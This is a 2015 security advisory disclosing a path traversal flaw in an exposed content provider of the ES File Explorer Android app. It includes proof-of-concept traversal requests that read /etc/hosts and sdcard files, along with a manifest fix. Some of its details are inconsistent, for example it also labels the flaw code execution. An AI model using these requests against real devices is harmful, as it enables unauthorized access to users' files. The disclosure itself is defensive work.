ES File Explorer v3.2.4.1 - Path Traversal Vulnerability

Type vulnerlab
Reporter Hadji Samir []
Modified 2015-02-17T00:00:00


                                            Document Title:
ES File Explorer v3.2.4.1 - Path Traversal Vulnerability

References (Source):


Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
ES File Explorer is a free all-in-one including a file manager & application & tasks,
support for online storage spaces (Dropbox, Google Drive, SkyDrive,, Sugarsync, Yandex, Amazon S3),
 FTP & Samba client to explore the images, music, videos, documents and other files from your phone and your computer.
It allows Android users around the world to manage their resources for free; you can see the files on your phone,
access from anywhere and share them with others; it allows you to easily manage your photos or watch videos, stay connected on 3G,
EDGE or WiFi, and share with friends.

(Copy of the Vendor Homepage: )

Abstract Advisory Information:
An independent vulnerability laboraotory researcher discovered a path traversal web vulnerability in the official ES File Explorer v3.2.4.1 mobile android web-application.

Vulnerability Disclosure Timeline:
2015-02-17:	Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Product: ES File Explorer - Mobile Web Application (Android) 

Exploitation Technique:

Severity Level:

Technical Details & Description:
A Path Traveral web vulnerability has been discovered in the official in the official ES File Explorer v3.2.4.1 mobile android web-application.
The security vulnerability allows a remote attacker to unauthorized request local files and device system paths to compromise the application or device.

The vulnerability is located in the `content://com.estrongs.files/system/` path request with the <file> context. The vulnerability can be exploited by 
local or remote attackers without user interaction. The attacker needs to replace the sdcard path request in the com.estrongs.files/system with a 
malicious path request like ./etc/passwd ./etc/hosts and continues the request. The attack vector is located on the application-side of the service 
and the request is http.

The security risk of the path traversal web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.8. 
Exploitation of the directory traversal web vulnerability requires no privileged application user account or user interaction. Successful exploitation 
of the vulnerability results in mobile application compromise

Request Method(s):
				[+] POST & Sync

Vulnerable Module(s):
				[+] content://com.estrongs.files/

Vulnerable Parameter(s):
				[+] path

Affected Module(s):
				[+] content://com.estrongs.files/system/

Proof of Concept (PoC):
The arbitrary code execution vulnerability can be exploited by remote attackers without user interaction or privileged application user account.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

--- PoC Session Logs ---
  Application Label: ES File Explorer
  Process Name:
  Data Directory: /data/data/
  APK Path: /data/app/
  UID: 10235
  GID: [3003, 3002, 3001, 1015, 1028]

  - android.permission.WRITE_SETTINGS
  - android.permission.CHANGE_WIFI_STATE
  - android.permission.CHANGE_NETWORK_STATE
  - android.permission.INTERNET
  - android.permission.SET_WALLPAPER
  - android.permission.ACCESS_NETWORK_STATE
  - android.permission.ACCESS_WIFI_STATE
  - android.permission.BLUETOOTH
  - android.permission.BLUETOOTH_ADMIN
  - android.permission.WRITE_EXTERNAL_STORAGE
  - android.permission.WRITE_MEDIA_STORAGE
  - android.permission.WAKE_LOCK
  - android.permission.READ_PHONE_STATE
  - android.permission.ACCESS_SUPERUSER
  - android.permission.VIBRATE
  - android.permission.CHANGE_WIFI_MULTICAST_STATE
  - android.permission.SYSTEM_ALERT_WINDOW
  - android.permission.GET_TASKS
  - android.permission.READ_EXTERNAL_STORAGE
  Defines Permissions:
  - None



    Permission: null

Authority: com.estrongs.files
  Read Permission: null
  Write Permission: null
  Content Provider:
  Multiprocess Allowed: False
  Grant Uri Permissions: True

read content://com.estrongs.files/system/../../../../../sdcard/<file>

Read file hosts
read content://com.estrongs.files/system/etc/hosts                   localhost

Solution - Fix & Patch:
In the AndroidManifest.xml file of each application that contains a content provider, it was recommended that read and write permissions are set.

Vulnerable code:

  Read Permission: null
  Write Permission: null
android:exported=``true`` change ``true`` to ``false``

When the value is ``false``, only components of the same application or applications with the same user ID can start the service or bind to it.

<provider android:authorities=``com.estrongs.files`` android:exported=``true`` android:grantUriPermissions=``true`` android:name=````/>

Fixed code:
<provider android:authorities=``com.estrongs.files`` android:exported=``false`` android:grantUriPermissions=``true`` android:name=````/>

read content://com.estrongs.files/system/etc/hosts
Permission Denial: opening provider
ider from ProcessRecord{4192d1a0} (pid=32050, uid
=10216) that is not exported from uid 10235

Security Risk:
The security risk of the path traversal web vulnerability in the android app is estimated as high. (CVSS 7.8)

Credits & Authors:
Hadji Samir []

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:   	-			       		-
Contact: 	- 	       		-
Section:	-		       	-
Social:!/vuln_lab 		- 	       		-
Feeds:	-   		-
Programs:  	-	-

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact 
( or to get a permission.

				Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™